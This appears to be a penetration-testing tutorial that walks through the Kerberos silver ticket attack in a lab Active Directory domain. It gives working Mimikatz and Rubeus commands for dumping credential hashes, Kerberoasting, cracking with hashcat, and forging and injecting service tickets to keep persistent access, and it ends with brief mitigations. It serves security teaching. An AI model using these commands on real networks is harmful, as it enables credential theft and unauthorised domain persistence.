Domain Persistence: Silver Ticket Attack

Introduction

Benjamin Delpy (the creator of mimikatz) introduced silver ticket attack in Blackhat 2014 in his abusing Kerberos session. Silver tickets are forged service or TGS tickets for specific services which can be used to maintain persistence on a compromised system connected with an Active Directory enterprise domain. In the attack, an attacker can craft a valid TGS of a service and use the NTLM hash associated can further craft tickets for other services. The article contains basic theory and demonstration associated with the silver ticket attacks.

 

Table of content

·         Silver Ticket Theory

·         Silver Ticket using Mimikatz

·         Silver Ticket using Rubeus

·         Mitigation

·         Conclusion

 

Silver Ticket Theory

Before we begin, it is highly recommended you read about golden tickets here.

The basic flow of Kerberos can be understood by following our article here. Once you’ve read and understood how Kerberos works, we can proceed with Silver Ticket attack.

With golden ticket attack, we used the hash of a krbtgt account whereas in case of the silver ticket attack we will use the password hash of a service account. The password hash of the service account can be extracted by various methods, Kerberoasting being one. Since no intermediary TGT is required for the silver ticket attack to work, silver tickets can be forged without any communication with a Domain Controller and hence is stealthier than golden ticket attack.

The way silver ticket attack works is as follows:

·         STEP 1: Compromise the password hash (NTLM hash) of a service account. User can use Mimikatz, Kerberoasting etc to do this.

·         STEP 2: For a new ticket by specifying the following things:

·         Service hash

·         Service name

·         Target FQDN

·         Domain SID

·         STEP 3: Inject the newly created silver ticket into the terminal session to utilize and maintain persistence

Let’s see this in action.

 

Silver Ticket via Mimikatz

In the demo you will now see, you’ll notice that we have used NTLM hash of the machine account “dc1$.” Many of you might get confused as we had to use the hash of a service account. Please note that a computer also hosts multiple services, one of which being Common Internet File System Service (CIFS - the file sharing service). Thus, the password hash of the CIFS service is same as the machine account.

Goal: Craft a silver ticket to establish persistence on CIFS (sharing) on dc1.ignite.local machine

Since the attack is all related with maintaining persistence, we have to assume the following:

·         Attacker has compromised a low priv victim machine (here, username: harshitrajpal)

·         Attacker has somehow gained password/NTLM of the target machine (dc1.ignite.local)

·         Attacker crafts silver ticket on low priv machine to gain access and maintain persistence on CIFS service on dc1.ignite.local

Let’s first show you our current user, tickets and what happens when we access sharing on dc1.ignite.local

The above machine was the low priv machine.

Next, we need dc1.ignite.local computer account’s hashes. There could be various methods to do so but we’ll fasttrack and use Mimikatz to obtain it. Let’s activate mimikatz first and dump the hashes using sekurlsa::logonpasswords command. Note that you can follow any method to dump hashes.

privilege::debug

sekurlsa::logonpasswords

This shall dump all the hashes in machine memory including hash of the machine account. Upon a little scrolling we found NTLM of our machine account “dc1$”

Next, to forge a silver ticket we have to find SID of the domain which can easily be found using the command. Please note that the digits after the last hyphen (here, 1115 is called the relative SID and we don’t want that. Everything before that part is the domain SID that is relevant to us)

whoami /user

Now, to forge a silver ticket, Mimikatz’s “golden” module can be used. We just insert our variables.

Here, I am using /ptt flag to insert the ticket directly in the current shell.

/id: It is any random ID that would be visible in the event logs upon inspection. Can be randomized.

/sid: Of the domain. Read more about SID here.

/domain: Valid FQDN of the target domain

/service: Service for which ticket is generated

/rc4: NTLM hash of the victim machine’s computer account (found previously)

/user: Impersonated username

kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339

exit

klist

As you can see above, a ticket has now been saved in the current session’s memory. Now you would be able to access CIFS of the target machine.

dir \\dc1.ignite.local\c$

If, however, you do not want to insert the ticket in memory right away and rather would prefer that a ticket.kirbi file be saved instead, you just remove the “/ptt” flag and leave rest as it is

kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339

exit

klist

dir

Now this kirbi ticket can be used with tools like Rubeus ptt module and inserted in memory and used whenever we want

rubeus.exe ptt /ticket:ticket.kirbi

klist

dir \\dc1.ignite.local\c$

And of course, the entire procedure above can be done using Rubeus only.

 

Silver Ticket using Rubeus

We have already seen CIFS as an example and if you’re following the article so far, you’d be able to replicate the same with Rubeus too by using the commands given just a scroll away. However, I wanted to target a different service this time so I set up a SQL server and assigned the service to be run by the user “sqluser” (can be done by going to run->services.msc->SQL->properties->logon)

This shall make SQL Service run via our newly created service account.

Now, we need to compromise NTLM hash of this account. We will use the Kerberoasting attack for this. Please follow our guide here to understand the attack but in short, you run the following command in Rubeus.

/domain: target FQDN

/creduser: Any valid compromised username

/credpassword: Valid password of the compromised user

/nowrap: For the ticket blob to appear in single line in Rubeus

rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap

As you can see, Rubeus has automatically determined a valid Kerberoastable account and dumped its TGS. We will now extract the Password from this TGS offline using Hashcat

hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force

In a few seconds we received our clear text password, “Password@1”

Now, let’s convert this into NTLM hash (rc4_hmac) using Rubeus since our silver ticket requires a valid NTLM

rubeus.exe hash /password:Password@1

We also need to know the SID. This can be done using whoami /user command

Finally, to forge a ticket for the current user in Rubeus we give the following command:

rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt

The /ptt option imports the ticket in the current session altogether. Without /ptt the ticket.kirbi file will be saved instead. But as you can see a valid silver ticket has now been created

We can now try to log into the server and run a basic command that displays hostname.

sqlcmd -S 192.168.1.2,1433

SELECT HOST_NAME() AS HostName

go

And voila! As you can see our user can now connect to the SQL service using the ticket we just forged.

 

Mitigation

Since the attack is based on offline mechanism and no DC is involved it is difficult to mitigate the attack. However, the following steps can still be taken to ensure protection:

·         Enable PAC Validation. If enabled, the ticket presented shall be first validated by DC. Thus, silver tickets will be rejected right away.

·         Use strong passwords to prevent bruteforce like demonstrated

·         Control necessary privileges or whitelist certain users that can use particular services.

·         Mitigate Kerberoasting

 

Conclusion

The article talked about Silver Ticket attack and how a particular service’s TGS can be forged using this methodology. We also demonstrated practically using 2 tools how an attacker can forge and utilize a silver ticket. In real life environment, getting a golden ticket is quite hard but silver tickets can be forged easily as awareness about Kerberos protection is not quite out there. Hope you liked the article. Thanks for reading.